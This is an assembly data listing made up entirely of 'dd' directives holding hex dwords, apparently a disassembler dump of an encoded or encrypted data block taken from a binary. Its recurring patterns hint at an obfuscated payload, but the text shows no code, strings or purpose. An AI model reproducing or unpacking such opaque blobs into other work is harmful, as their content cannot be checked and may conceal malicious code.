		dd 37F0C88Dh, 0D4DA6909h, 56EAB101h, 59AC8ACEh,	56BA9BB5h
		dd 5DB4D132h, 0DCAEB132h, 998E7A01h, 3917EA07h,	0D5B41967h
		dd 0AE16B5F4h, 0A98AB1DBh, 5E33BECDh, 595DB132h, 56AEB3B8h
		dd 6D36D132h, 0D2FBEFDh, 0BFD5B132h, 56EAB13Eh,	0B934A59Ch
		dd 0FABB0B03h, 1FBEECE5h, 709F0CBBh, 3037B727h,	0E731418Dh
		dd 5A3CD0CDh, 0FAEAB132h, 43BD257Fh, 10979C0h, 0BFA863CEh
		dd 0A9514F9Ch, 565D383Dh, 7CBB132h, 5653BE68h, 37EAB132h
		dd 5675A0DBh, 4BF1F732h, 177AFD64h, 7677638Ah, 0C1C88123h
		dd 59CA9283h, 56D5AEB5h, 4F69BE32h, 0BF75B132h,	56BAB126h
		dd 0E95D428Eh, 0E7D9025Ah, 98351B31h, 5FBCFFC7h, 0F54E5A50h
		dd 0F958D1F1h, 5915D0CEh, 56BABDBAh, 50D1BE32h,	59AEB132h
		dd 5657B1B5h, 56AB5932h, 0D78FB132h, 4D725AD8h,	56655834h
		dd 6C77B132h, 8FF19275h, 0C8A24958h, 4212491Bh,	5D428804h
		dd 97D5B132h, 0B3F79998h, 798D1217h, 0D3B545AAh, 565DB13Ah
		dd 56AC393Dh, 3737B132h, 2A1F0BB9h, 5D3CB729h, 30EAB132h
		dd 0B9C0909Bh, 0DBAF1417h, 5CB45149h, 7EAEB132h, 45DCB5ECh
		dd 6A1EEDBCh, 57D50844h, 68AB132h, 372EEB63h, 0D6B57101h
		dd 565DB133h, 56A258C7h, 5BD5B132h, 525B8C33h, 81BE6587h
		dd 0FD19D6A0h, 56725852h, 4DC3B132h, 0D650AAE9h, 0C5BE32Ah
		dd 0E2D53A53h, 59ADAA4Eh, 56D5B0BAh, 0D4634832h, 506ECD88h
		dd 56B65952h, 850EB132h, 7004EE4Eh, 8229337Ch, 8FAA528h
		dd 56DB586Dh, 67E8B132h, 0D1CD8DC5h, 0DC65E24h,	0D8E9F6F7h
		dd 0DEA1D053h, 5657B125h, 56ABA3DBh, 0E69E732h,	0E9F0B052h
		dd 0D223F4B0h, 0E7DC3F4Fh, 0AE0A21EEh, 36CE44F1h, 5657BADBh
		dd 5E12A832h, 134BA1E4h, 6C1D3E08h, 0BE8CD0CAh,	56BAB132h
		dd 0AFB73068h, 0A3A8AAABh, 5657B9DBh, 7F3EFF32h, 4CCCF8D7h
		dd 5E6CBE15h, 5975B132h, 56BAB3BBh, 903CD132h, 43A774B7h
		dd 3037E734h, 371B1D88h, 49B8885Ah, 0DD8CD1E6h,	0A8FED7CBh
		dd 5A39BE53h, 595DB132h, 56AEB7B7h, 56D2BE32h, 0A9ABB132h
		dd 43FDA087h, 56E05834h, 0E79BB132h, 377FD466h,	9EB293D0h
		dd 241234BFh, 3037B72Ah, 596DCF8Dh, 56D5B4BBh, 0A2070832h
		dd 5914819Bh, 56BAB0BAh, 86A24932h, 56A43B3Dh, 0E037B132h
		dd 562FBE29h, 37D5B132h, 0E88CD160h, 0ED1370DAh, 0BFDBAFD2h
		dd 565DB13Ch, 9EE80A56h, 0FF7FD7B5h, 72BBAD91h,	0BF855AEAh
		dd 56EAB138h, 0F1E5FD8Bh, 0B3411B80h, 56359D01h, 36AEB1B2h
		dd 5957DB53h, 56ABA3B3h, 56D85832h, 4B9B132h, 0E6D87C96h
		dd 94FA59BFh, 0A96C6465h, 4DD74F80h, 5EDFBE34h,	59ABB132h
		dd 56D5B3B4h, 0A98BD132h, 0E894DE2h, 56BAB6DBh,	816B8B32h
		dd 0F1CC1C85h, 45BEE052h, 0AFABB132h, 7E1618BAh, 0C107F34Eh
		dd 54006DDh, 644AEA1Bh,	0BF05AFEDh, 56AEB122h, 0BB125E1h
		dd 7677104Eh, 8A1A3B88h, 0F2543C64h, 0D77AEB53h, 56BAB133h
		dd 0D65DD9CEh, 59CEB132h, 42BE4885h, 0E3ABB132h, 0A7B5599Fh
		dd 764FDFADh, 70C8CCDFh, 0B886BCADh, 37E711C8h,	5629BE52h
		dd 0AA57B132h, 59ABDB53h, 56D5B0B8h, 0E4154432h, 506ECD86h
		dd 56B23D3Dh, 0D452B132h, 56AEB130h, 86A8D052h,	56B73D3Dh
		dd 0D6B5B132h, 440362F0h, 0B675B132h, 0B212185Dh, 0A45CB908h
		dd 2B3E02Eh, 5168D253h,	0BFCAD0BBh, 56D5B137h, 61EFB491h
		dd 5E9C7248h, 6FBAB132h, 422373E3h, 38F5463h, 0A6DCD152h
		dd 56ABA2DBh, 6E920832h, 2883A584h, 55085243h, 34A3F0A4h
		dd 0A0971B29h, 562CBE53h, 3757B132h, 58425DB9h,	8CD5B132h
		dd 0A5B5AA0Fh, 0A97A5887h, 0BB0A86Bh, 5BB4D14Ah, 0E9AEB132h
		dd 0FD7A5962h, 683B9CA5h, 0DAD42B50h, 56EAB1DAh, 0BCF4EB32h
		dd 50A12D20h, 57D8BEC7h, 0AEAEB132h, 595FC4B9h,	56ABB6B4h
		dd 575BBE32h, 0AEEAB132h, 567BEEDAh, 56AA5832h,	4114B132h
		dd 0A0BB15A8h, 15C3EFA4h
		dd 87882B86h, 583CC7B6h, 8FEAB132h, 2F55C04Fh, 0ADE28CEBh
		dd 0D54F8981h, 0A952E400h, 4D2D32A0h, 56BA5834h, 0CE15B132h
		dd 80B7818Dh, 0A37C7161h, 7BEB3D9Dh, 0B59B3A8h,	56BF393Dh
		dd 0D658B132h, 56ABB139h, 56D5B7DBh, 975D7A32h,	6D63B94Bh
		dd 0D3B5BD47h, 0A9A24EA6h, 5B5C59CEh, 5DBEB132h, 1DABB132h
		dd 0BB3150BFh, 15F4358Bh, 3789B174h, 266A3052h,	0BE1B89CEh
		dd 56AEB13Bh, 3976122Eh, 4CDA6612h, 56C4583Dh, 0EC5BB132h
		dd 185A4FB3h, 81603DBh,	4449B060h, 0E3BC615h, 0BF377853h
		dd 56ABB13Ch, 9DACF362h, 70B640EDh, 8465AB6Ah, 0D7DAEB93h
		dd 59469E5h, 37CF443Bh,	5957B9F0h, 56ABA4BBh, 56C55832h
		dd 0FC0CB132h, 0FE2F8AE5h, 4BAADA4Dh, 6F4BA8AFh, 0AAFBC79Ch
		dd 0D5A25DB9h, 534DF6h,	56D5BBDBh, 70D9C632h, 3ED01717h
		dd 590AFD6Bh, 565DB0B4h, 0BFF94432h, 5657B120h,	58BDA557h
		dd 76EFFDE9h, 0E310149Ah, 0DFFADD58h, 59E9B0F6h, 565DA5B9h
		dd 56A15832h, 7052B132h, 6B60D6E5h, 87E203F0h, 46DCECE2h
		dd 5675590Ch, 0D7E0B132h, 4DC0C6D8h, 0D6CE4434h, 0DD311ADCh
		dd 2320D0CAh, 513CD13Ah, 97EAB132h, 0E116284Ch,	530D8A7Bh
		dd 40D7BE53h, 0BFAEB132h, 5657B123h, 1C18FC57h,	0B5603C65h
		dd 42482153h, 39DCCD17h, 46C73A2Ah, 5653383Dh, 0D7CEB132h
		dd 0AFD717D3h, 5629BE0Bh, 37D5B132h, 56E25865h,	8107B132h
		dd 37FDD9A1h, 360B697Eh, 56AEA5DBh, 3913D032h, 669D0CBFh
		dd 0FDC6E778h, 0CD36BFFh, 0E68A416Ch, 0BE3BD7FDh, 0BE3C3410h
		dd 56AEB001h, 5657B8DBh, 0E0ECE632h, 6E07609Bh,	96E13929h
		dd 56C5353Dh, 5E53B132h, 0AD5DB132h, 9228A7CEh,	0DD331176h
		dd 892BD1CAh, 56C65854h, 6815B132h, 0BB73DEE5h,	850E7E1h
		dd 0A236B2B2h, 4E4AE7D7h, 3602D053h, 0D5394E53h, 59D3AA48h
		dd 56EAB0BCh, 36284832h, 847C3054h, 373DE65Bh, 2395D06Ch
		dd 9D3BE3Eh, 36ABB132h,	2156989h, 0C528303Bh, 37235761h
		dd 0DDDCD052h, 564F582Ch, 8A63B132h, 0D729485Eh, 5D7DB4E8h
		dd 5AA10416h, 0B12C4268h, 0A38556B2h, 3642AFB8h, 7412958Ch
		dd 3A6C0A77h, 0D636A99Ah, 0ECCB41D1h, 0A9E0A09h, 0BDBD6BB3h
		dd 0BE14DE40h, 56BA95D2h, 5BB449CAh, 59514ECDh,	5657B0B5h
		dd 2B224432h, 693D49CEh, 0BF154EC4h, 5675B122h,	1FE74435h
		dd 9B866413h, 408F69B8h, 611A90E3h, 0DDA4EACEh,	56D5B13Ch
		dd 56EAB8DBh, 0FB20F332h, 0C924FB3Ah, 0BF02A547h, 56AEB139h
		dd 0F74A3DA9h, 20F51901h, 8E75A09h, 0AAAF3ACEh,	539C78CAh
		dd 0CBAB132h, 5D7C7EDh,	0BFAEBDF0h, 5657B13Ch, 9A7AAA8Dh
		dd 109847C8h, 30E179C8h, 3801AA6h, 0AD683152h, 0A973054h
		dd 0BA25D034h, 5657A2DBh, 6DCA8D32h, 3952564Eh,	547AB084h
		dd 0E9F46C60h, 8ABAEB91h, 0BFA575B1h, 56AEB13Dh, 0C6C8E2F1h
		dd 3ADCB922h, 9D166338h, 0BF2E467Bh, 5675B121h,	0D917E9Dh
		dd 0D45F51A8h, 96F62D18h, 242ECA96h, 13A6BC7h, 56C73E3Dh
		dd 5B03B132h, 1E75B132h, 695D134h, 728E4A8Ah, 23275F4Fh
		dd 59BED164h, 93ABB132h, 1515FC12h, 55A3DE32h, 2FA8CB70h
		dd 0EFDC5DCEh, 73C6BC3h, 56AEB6DBh, 3F3AA632h, 5E331237h
		dd 56D43D3Dh, 51FB132h,	5674323Dh, 0AA43B132h, 56A5F4F5h
		dd 0BFAEB132h, 5657B13Ah, 4D09B06Ah, 676590D8h,	2AC433F5h
		dd 5674B729h, 0DCB5B132h, 565DB133h, 5EDB3ACAh,	0D558D152h
		dd 56ABB132h, 506BD0C7h, 37A36059h, 596B3A54h, 56BAB9B8h
		dd 54D7BE32h, 36AEB132h, 0A8ED3A53h, 36ADAA4Bh,	593C6681h
		dd 90EAB132h, 8A95457Ah, 654EB803h, 0EAA0393Fh,	0DDCF1E9Bh
		dd 0DE58B96Dh, 56ABB133h, 590EBAC7h, 56EACBB6h,	0D7154432h
		dd 0AB5C2BF0h, 50D2BE72h, 0D7AEB132h, 7938E1FCh, 8890D000h
		dd 56FA343Dh, 0AF13B132h, 3679ECB9h, 0EDDC48B9h, 0BF3CA887h
		dd 56AEB13Fh, 7D4CD8D9h, 0EA54BDD5h, 78C5F761h,	5AB5388Ah
		dd 5675B9DBh, 0CC8BFE32h, 0BAFD0D4Ch, 4269327Dh, 3737E252h
		dd 56A35869h, 7BFAB132h, 0A9D5FA6Ah, 0BF142B3Bh, 0A9454EB5h
		dd 565DBFDBh, 0ED3A8732h, 57F278A4h, 33069157h,	307D8BB6h
		dd 0D3E5AFB9h, 5675B13Ah, 56B8363Dh, 373DB132h,	56AEBADBh
		dd 0CFBEE632h, 0CF1BE806h, 0A0861D2Fh, 59024AB2h, 5676FBB6h
		dd 0AD3A4D32h, 16D9BEDBh, 36AEB131h, 5657323Dh,	0D7FBB132h
		dd 47820DEAh, 0D68BE91Dh, 0D27A5AC9h, 56BAB215h, 565C373Dh
		dd 0D656B132h, 0D25853C9h, 56ABB3EAh, 0AD55D052h, 0E96EBED1h
		dd 0BF75B130h, 56BAB123h, 1DA10F27h, 0A0A2E111h, 7A4F184Dh
		dd 0A076489Fh, 0AD54D7FCh, 0D2E55255h, 5675B39Eh, 56AC383Dh
		dd 0DC52B132h, 56AEB122h, 5657BADBh, 10ED1032h,	91BDA2DFh
		dd 0B683FF9Dh, 0BF8556B2h, 56BAB13Ah, 22779BFAh, 555539F9h
		dd 59AC3054h, 0E22FBEB2h, 36D5B130h, 0A6093153h, 5675BADBh
		dd 0FD350F32h, 4390CD9Bh, 0F6F64D57h, 59274AB2h, 56A927B6h
		dd 0D6B54432h, 371328FDh, 366B3A54h, 10CED08Ch,	0B5DDD008h
		dd 15BD1CAh, 5657BDDBh,	282DD132h, 28996EC2h, 2203094Ch
		dd 0D614EE32h, 0D2B509C9h, 565DB066h, 539031CEh, 571D353Dh
		dd 0D652B132h, 0D2DA9C0Ch, 56EAB072h, 3E4B31CBh, 578C353Dh
		dd 44B4B132h, 0EBAEB132h, 8DBEA8F4h, 37DFA953h,	0A2D2B31h
		dd 7E3B0E4Dh, 78F74ED8h, 0BFBCAA4Eh, 565DB120h,	358138CAh
		dd 0CE68FFDFh, 412F1116h, 6FB186DDh, 0DD8C9DCEh, 0B1F5442Ch
		dd 0D7DC4DCAh, 59B530C9h, 56AE5EB6h, 30AB4D32h,	0D65EAFB9h
		dd 0D5DA41D5h, 56EAB133h, 0ADF4D7CEh, 0D2B571B3h, 565DB1E6h
		dd 56B63C3Dh, 45BEB132h, 0C5ABB132h, 17F9DD73h,	327B7B65h
		dd 0F856D891h, 1A52888Ah, 5AB4F523h, 8BAEB132h,	389643B6h
		dd 0C454B345h, 367E68ADh, 56EB323Dh, 368DB132h,	56B8373Dh
		dd 0F8E9B132h, 37205EB2h, 565A5867h, 7B8CB132h,	4D3BEED2h
		dd 70DDE0E4h, 0AA90E203h, 2C3923CDh, 0D152B729h, 56AEB138h
		dd 59A63A52h, 56ABB1B5h, 0A388D032h, 56E1393Dh,	509CB132h
		dd 6EBAB132h, 0DD139052h, 0AAEB38BFh, 5642323Dh, 0D1A4B132h
		dd 56D5B13Dh, 56EABBDBh, 6DE39C32h, 4D2AC179h, 3747A492h
		dd 0AAD332CEh, 5BD2BE33h, 36ABB130h, 56D5BDDAh,	78F99A32h
		dd 8DFB29CBh, 0C752F5FEh, 565158C8h, 9AE8B132h,	0FF1B31F3h
		dd 0B4EE27ADh, 308EEFECh, 375F198Ch, 55BC0BB9h,	0D9B5B727h
		dd 565DB139h, 56AEB7DBh, 8892F132h, 65604ADh, 56D95852h
		dd 5C58B132h, 4731D20Ah, 27A76D5Eh, 0E95236F2h,	30CED0F0h
		dd 0AEAAE888h, 78293A53h, 36D3AA4Eh, 0D5DF0B54h, 66498853h
		dd 7105D752h, 0BB9F30A1h, 37EF2C08h, 0DBD5BE6Ah, 0AAABB133h
		dd 54580BB9h, 61FB727h,	0DDAA0152h, 0D431D0E4h,	5046CD1Ch
		dd 56BE5852h, 0B18DB132h, 9CE833B7h, 691FBCA7h,	0BA9C9816h
		dd 0A7FE73F7h, 6A834D53h, 50B5D102h, 91AEB132h,	840419BCh
		dd 8620D7A0h, 3712026Ah, 1765BE6Ah, 0BF75B133h,	56BAB126h
		dd 386E8EDDh, 0D94E8CC3h, 2AA018Fh, 6AC661B3h, 0EAE5497Ch
		dd 56EAFFDBh, 13B24D32h, 56BAB3CAh, 16B44432h, 0A3AEB132h
		dd 57AFF4F5h, 36ABB132h, 56D5BFDAh, 7EB17032h, 455F576h
		dd 7B7CB811h, 0EEAF607Bh, 1FBE022h, 62E9D769h, 4242D09Bh
		dd 0AD5B132h, 7F570FD6h, 8B797CAFh, 58118F59h, 3E0D8E64h
		dd 0DD7AD668h, 4D2E4F88h
		dd 5728BE34h, 0AAD5B132h, 0DD8AAEB9h, 0A1FED7EAh, 5961BA53h
		dd 565D06B6h, 88954832h, 563B343Dh, 0DAA4B132h,	56D5B133h
		dd 526BBECBh, 3675B132h, 0DDDB0C85h, 50B4BD6Fh,	21AEB132h
		dd 1865288Dh, 2B2844E4h, 0D2DAB1CAh, 56EAB106h,	567D3C3Dh
		dd 0DEB5B132h, 565DB130h, 4647D052h, 2857B132h,	5D072411h
		dd 8DF767B8h, 1D3E6492h, 55801AE9h, 0D9B5496Fh,	565DB13Ah
		dd 56AC363Dh, 3737B132h, 0BFAFEEBBh, 56D5B137h,	0BDD41AFCh
		dd 91F64885h, 56BF5826h, 6814B132h, 5938B9CBh, 5657BDB5h
		dd 5022BE32h, 59D5B132h, 56EAB1B6h, 0A9235832h,	0D9B54ECDh
		dd 565DB133h, 366E82CAh, 60BED0CBh, 59ABB136h, 56D5B6B4h
		dd 378AD132h, 37AE0E3Dh, 0BFA43A54h, 565DB13Fh,	0B694BDE6h
		dd 0D8A51AD0h, 81713ADFh, 5AA83A99h, 0AD6A48CEh, 68F1BED9h
		dd 0BFBAB132h, 565DB121h, 711BD88Fh, 0F1DED162h, 0CB6B96D7h
		dd 1C69F9ACh, 0D655DD88h, 0D71541D1h, 2C5D66D5h, 565B587Bh
		dd 454EB132h, 0CD4728BFh, 26503153h, 56A1353Dh,	0BF16B132h
		dd 5675B1DFh, 0BFBD77CAh, 565C3F3Dh, 9157B132h,	5657B075h
		dd 5B42B132h, 0A5D5B132h, 0FF8A81DEh, 92935C19h, 0DC3ABE96h
		dd 5CB476B9h, 0EFAEB132h, 829327DEh, 254E8AEAh,	53153237h
		dd 56FD323Dh, 3015B132h, 5B536FB9h, 4D5DB132h, 0AC7C9ABAh
		dd 31ACAD8Eh, 0CF51801Dh, 55BA5853h, 0BF8AB132h, 5675B137h
		dd 74DE3B33h, 80DCE6E3h, 35D09200h, 9131D068h, 36A3BE35h
		dd 60023054h, 4860D04Fh, 98843052h, 0AE81F9A8h,	59BE3153h
		dd 56BB383Dh, 46BEB132h, 31ABB132h, 0FFC8F5ADh,	0B3B3B27Ch
		dd 0F1E5FD8Bh, 0D6411B80h, 0DC5231F9h, 56AEB13Eh, 56513A3Dh
		dd 0DFA4B132h, 56D5B132h, 56EAB7DBh, 31A63D32h,	0DE2C8C85h
		dd 36A4B06Dh, 0DD5E3A54h, 1190D0E3h, 56ABB130h,	915E4832h
		dd 502A32CBh, 0DF7A4852h, 56BAB130h, 0BF3C56B8h, 56AEB3EFh
		dd 68D6D7CBh, 0D2A421A2h, 56D5B10Ch, 56ED3A3Dh,	3015B132h
		dd 0CB4D5EB3h, 0C6633153h, 5694343Dh, 5937B132h, 30CA7A8Dh
		dd 0C62ACFB3h, 416EBEA2h, 0A375B132h, 0DDB5E052h, 565DB132h
		dd 197F3069h, 370FD5ADh, 56ABA2DBh, 915E4432h, 546158CBh
		dd 539CB132h, 74BAB132h, 9F57BC67h, 2A4D33BFh, 0DD58B729h
		dd 56ABB13Ah, 56D7373Dh, 378AB132h, 50F0BE62h, 36BAB132h
		dd 0B2E20854h, 4447E753h, 0C357B132h, 4D62A564h, 0DFE8A179h
		dd 3CD69888h, 0C08F5Fh,	0C2284E46h, 365BAA48h, 324C3054h
		dd 0CEA73033h, 37C50768h, 0F83D3052h, 59F8EF23h, 5675B2BFh
		dd 9C31D732h, 599DBA53h, 56AEEAB6h, 56465832h, 0CB68B132h
		dd 60443D5Dh, 0DBEDB2CEh, 6F7B1557h, 0DD2ACD44h, 4FD3BEFAh
		dd 59AEB132h, 5657A2B1h, 56A55832h, 3103B132h, 7D0F1232h
		dd 0A32CC2CBh, 765EAF4Dh, 2ABE03BFh, 4CEB729h, 0F1C5CB2h
		dd 72483054h, 0C33CD0DFh, 0BFEAB132h, 5675B13Ah, 375F207Fh
		dd 0D55D36B0h, 98254464h, 0B5D6D752h, 0D7CD9D7Bh, 371D96FAh
		dd 0BF8AE4C7h, 5675B138h, 1BB5614h, 0C308CBB8h,	0DCA17FBCh
		dd 5657B130h, 0A9CAD052h, 4DAF32A0h, 4F6BBE34h,	3675B132h
		dd 46534BB8h, 415DB132h, 1C11A3CEh, 96180D89h, 0C28BC707h
		dd 3793E1CFh, 0DD8CD16Fh, 1ECAD7ECh, 9891D0C2h,	565DBEDBh
		dd 986AF132h, 17D51215h, 510DE67Fh, 8F421C4h, 81F68C5h
		dd 5675BEDBh, 0F5708832h, 50DB8905h, 1F8285B4h,	5FCFBB20h
		dd 5753CCB1h, 5649343Dh, 4503B132h, 5F75B132h, 0B53948A9h
		dd 0E908F525h, 0C08E9965h, 0C08DD9E2h, 1F1BC2B8h, 56D5A3DBh
		dd 0F3BBE532h, 5216C9ABh, 3A2D05CCh, 6A84F718h,	5974DF88h
		dd 5657B8B5h, 0CFDD132h, 0C0B3054h, 5940D003h, 5675BDBAh
		dd 503ABE32h, 595DB132h, 56AEB1B6h, 59EFD732h, 56A458B7h
		dd 72FEB132h, 0F482E67h, 0BC08B9D4h, 0B5114881h, 36F6D70Dh
		dd 37C554B2h, 5711073Dh, 56A33B3Dh, 0D8DAB132h,	56EAB130h
		dd 0AADED052h, 56BA3ADBh, 56515832h, 8E16B132h,	43110F2Dh
		dd 0D8E7BE92h, 2B565215h, 0D3E5B3CAh, 5675B153h, 0A13BD752h
		dd 303CB854h, 5967BA8Ah, 5657B0B4h, 0FDCD4D32h,	56C45952h
		dd 47F7B132h, 0BABDC419h, 7F681985h, 1AC910F6h,	0D6BA502Fh
		dd 5909ADD0h, 56ABB4BBh, 8E54D732h, 308B329Ah, 59F1BE8Ah
		dd 56BABDBEh, 50D5BE32h, 59AEB132h, 5657B1B2h, 0AA00D732h
		dd 5793073Dh, 0BF131ACBh, 5675B122h, 591E42CBh,	565DB6B2h
		dd 0D7C8D132h, 371102E8h, 444276B9h, 0F5D5B132h, 285EC672h
		dd 93877124h, 0E358233Ah, 0DEE79FD0h, 0D5A1EA62h, 5657B12Dh
		dd 56B2333Dh, 423CB132h, 9EEAB132h, 0FA4DCC44h,	6620BA2Eh
		dd 29ED7E9Ch, 11B62B91h, 5982F1E3h, 56ABB0B8h, 368C4D32h
		dd 6B15EB2h, 372A8281h,	4232BE6Ch, 595DB132h, 56AEBFB4h
		dd 565E5832h, 9F19B132h, 81E2E98Bh, 9CBCE0Ch, 5674333Dh
		dd 9F4FB132h, 565573CBh, 0F97F3052h, 5906F698h,	56ABB3B1h
		dd 37620332h, 4F62BE67h, 0BF75B132h, 56BAB126h,	0D278DD3Ah
		dd 52993E48h, 3FF7EE60h, 0A3D5B440h, 5882D44Ch,	0DCE55DB9h
		dd 5675B13Eh, 56BC3E3Dh, 0DA52B132h, 56AEB132h,	5658303Dh
		dd 5C42B132h, 0D6D5B132h, 0D25E64B2h, 2BC17D99h, 0DEB5D1CCh
		dd 565DB135h, 8F19BE52h, 0BE367A80h, 56ABB132h,	5F3F3068h
		dd 36ECAA98h, 5675B6DBh, 8BD11B32h, 0FEF4DED2h,	56AEA2DBh
		dd 0BCB41932h, 61087B0Bh, 0D0D3370Ah, 44A39D06h, 0EB7C2938h
		dd 56B35853h, 0D85B132h, 0C9B231C3h, 0DD0322D1h, 0DCCBB977h
		dd 0D45CD0C6h, 50F1CB74h, 5675B9DBh, 0C7070732h, 0E93DC747h
		dd 5947D0BAh, 0F157B132h, 0C93A96AEh, 0A799F9FCh, 9A0ECBE1h
		dd 36BCF32Dh, 59623A54h, 943C498Dh, 4747B136h, 0E357B132h
		dd 4BAA5CAEh, 94EC03B6h, 0C3EDEA64h, 53DB778Ah,	4253D167h
		dd 0A85DB132h, 0DBF5F56Fh, 0CDEA6143h, 2962B13Fh, 1FEA34B0h
		dd 37753781h, 0AA895DB9h, 0AA4275B1h, 565C383Dh, 365BB132h
		dd 5657BBDBh, 7EFD6032h, 0C656C90Bh, 0BE442086h, 5675B132h
		dd 83503068h, 595BAA98h, 56AEB0B2h, 42BE4D32h, 75ABB132h
		dd 411D07A6h, 0E9422B21h, 8DCB6BB2h, 3466AAAEh,	91E7CD72h
		dd 56AE4977h, 91A2B132h, 56AB4D77h, 0D2DAB132h,	56EAB133h
		dd 59B582CBh, 56BAB4B2h, 0DD3BD132h, 0DDC8D0F1h, 91AE482Ch
		dd 4DD79FB0h, 56D5B034h, 8C6BD132h, 4A4394F4h, 438F0B54h
		dd 0ADDCD753h, 0D3A121A2h, 5657B13Ah, 56AA3D3Dh, 0A32DB132h
		dd 59024AB2h, 56714DB6h, 4752D132h, 5DB132h, 0BF0A0FBFh
		dd 261E1B8Ah, 725DF2BCh, 8C190044h, 3C100B54h, 66BE306Bh
		dd 37C2D1EFh, 564E5872h, 0A29BB132h, 0C219D1EDh, 4BD4BB41h
		dd 51D48650h, 38E2D099h, 9EFED1CAh, 56BAA3DAh, 0A2F80B32h
		dd 0DFB797FDh, 4967204Ch, 7FDA1574h, 302C20CBh,	37B476B9h
		dd 599C4AB2h, 56BE29B6h, 56575832h, 63D3B132h, 0AF3A16B3h
		dd 749FFD2Fh, 56DE3E3Dh, 0D68AB132h, 8FF4B7FEh,	2254C3DFh
		dd 0D6A4F153h, 0D2A15AC9h, 5657B55Fh, 56ABB7DBh, 49145432h
		dd 16C06213h, 0D6144952h, 535341D5h, 9F5DB132h,	2919D8DDh
		dd 59AC3054h, 102FBEB2h, 36D5B136h, 0AF240E3Dh,	8FF7B253h
		dd 59BCA41Ah, 565DBBBCh, 37CED132h, 0E4A779B3h,	0BFCA9665h
		dd 56D5B13Ch, 26A31B8Ah, 7283F2BCh, 8C760044h, 361D6F50h
		dd 56AEBCDBh, 3618ED32h
		dd 0B10964ACh, 6BC72B2Fh, 0E98C6731h, 0D6149F44h, 0D2B553C9h
		dd 565DB2FFh, 56AF3F3Dh, 0D6AFB132h, 0D2A452C9h, 56D5B294h
		dd 0AD6BD7C7h, 0D27A5255h, 56BAB283h, 0A6BE31CBh, 5324BE52h
		dd 0EF57B132h, 25CB4696h, 0D4DAD0CEh, 56EAB13Eh, 56733D3Dh
		dd 0DCB5B132h, 565DB132h, 59DE4AB2h, 56541DB6h,	0DDCDD132h
		dd 9154D7CAh, 0BF8BF98Ah, 5675B139h, 553125B4h,	0E19EAF36h
		dd 30FBB19Bh, 0D558AFB9h, 56ABB133h, 0AE3631CBh, 4C52D752h
		dd 0ADF5D057h, 993EBE8Ah, 0AA5DB133h, 0EEC84952h, 0D636F1A3h
		dd 0D2A4B40Ch, 56D5B08Ch, 7BD431CEh, 57C1353Dh,	0D7DAB132h
		dd 9181CFF3h, 56BC5874h, 54D3B132h, 3314828Ch, 543D8EECh
		dd 0E11A3708h, 0F139677Eh, 3E843153h, 57D1353Dh, 0BFCEB132h
		dd 5657B123h, 0DECF59B3h, 753EDB18h, 748C0002h,	0BCF49FF9h
		dd 56B5587Dh, 5145B132h, 1B253FFAh, 3B869BBBh, 13E3BC41h
		dd 0AF95D016h, 2AC433CDh, 539CB729h, 0D8BAB132h, 5A656C81h
		dd 0AAB03A54h, 59AF56B2h, 56ABA6BEh, 56C75832h,	0EF04B132h
		dd 42C38975h, 0B5CBCF5Bh, 17CBB24Fh, 0FCB5D32Bh, 0D7AC3054h
		dd 492FBEDAh, 59D5B133h, 56EAA2BBh, 5BF6BE32h, 0BFBAB132h
		dd 565DB13Ah, 0F75A7655h, 75F61CD6h, 0BFB53A54h, 56D5B123h
		dd 0AA7ACAEFh, 95C8F9E7h, 0C00A812Eh, 0AA9A2E52h, 4328BE10h
		dd 0BF57B132h, 56ABB122h, 236697ABh, 0DBB3EAF2h, 456719C5h
		dd 0B30DAE95h, 0BFAD56B2h, 56AEB13Bh, 4D82505Eh, 2B642085h
		dd 0D7B3D1E5h, 0BE25E2C5h, 5675B13Ch, 6CBEEEA4h, 0FCC2BC1Ah
		dd 0D600AAD4h, 0D2586801h, 56ABB132h, 0D7B3D06Bh, 592A30C9h
		dd 567524B6h, 56BF5832h, 544BB132h, 3622C69Ah, 565B303Dh
		dd 0DBA4B132h, 56D5B134h, 56EA333Dh, 0BF20B132h, 56BAB13Eh
		dd 4CF69A7h, 44932AFFh,	1BC723A4h, 2C2823CDh, 30B5B729h
		dd 9D6B4BB9h, 74838B72h, 0BFDAEC53h, 565DB135h,	0C7D21C73h
		dd 0DD319E34h, 1322D0F5h, 56C158CEh, 0FBB2B132h, 4E695A7Fh
		dd 0F849131Bh, 63111D7Ah, 0E9DE0E8h, 5936D193h,	56ABB9B7h
		dd 5453BE32h, 36EAB132h, 0AA083253h, 333FBE33h,	0BF5DB134h
		dd 56AEB13Bh, 0B193C662h, 856B0CEDh, 0EC5E4469h, 50FFB2FBh
		dd 296E0B52h, 0D9B5AABBh, 565DB134h, 709879B3h,	63681F7h
		dd 56A758CBh, 271FB132h, 0C33FD2A5h, 16F8293Ch,	0D4312783h
		dd 5046CD1Ch, 9119BE52h, 5652313Dh, 1A13B132h, 37D164BFh
		dd 0A3DA8D0Bh, 5FF7BE6Ah, 0BFBAB134h, 565DB137h, 90FD8DF2h
		dd 0DBED3AF5h, 0A3ADA430h, 0D45E4962h, 50F1CD1Ch, 53F9BE52h
		dd 30BAB132h, 5E707FB3h, 56AC343Dh, 3737B132h, 66978853h
		dd 56DC5852h, 2157B132h, 0B08CF5B9h, 0A307CA9Ah, 0D952E953h
		dd 56AEB4F2h, 79ED3ACAh, 0A3ADAA48h, 2CFA33B1h,	36FEB729h
		dd 56733C3Dh, 0DBB5B132h, 565DB132h, 56AEB7DBh,	46013832h
		dd 37B1062Ch, 0BF2086BBh, 56EAB121h, 4E0F048h, 4B060074h
		dd 4B5664A3h, 72FE9AA4h, 0DFF7102Ah, 653A175h, 78573ACEh
		dd 0BFECAA4Eh, 5675B138h, 0FAB4A34h, 0E1B9B299h, 0D2A189A2h
		dd 5657B120h, 56ABBCDBh, 8BB81232h, 1A7CF570h, 6AFC26D5h
		dd 4A3179F8h, 564D5802h, 8765B132h, 0F6998AEh, 0BB2872F8h
		dd 3D49BA5Ch, 0BFB2454Dh, 5675B135h, 6D4B75CBh,	0DF44A9DEh
		dd 59CEB96Dh, 5657B2B9h, 2B7C3132h, 178769B3h, 0BF8BD511h
		dd 5675B43Eh, 413DBECEh, 0BF5DB132h, 56AEB120h,	9143457Eh
		dd 5B769769h, 12A1C30h,	0FE32AA5Ah, 13B2AE3Fh, 56BAB3CAh
		dd 64B44D32h, 36AEB132h, 300A68B2h, 0DB8E7EB3h,	0AE907653h
		dd 56EAB133h, 0C9843052h, 59871759h, 565DA2BAh,	56A05832h
		dd 0B52FB132h, 0F108C08h, 0F397359Fh, 57EDFFEh,	79CF3A53h
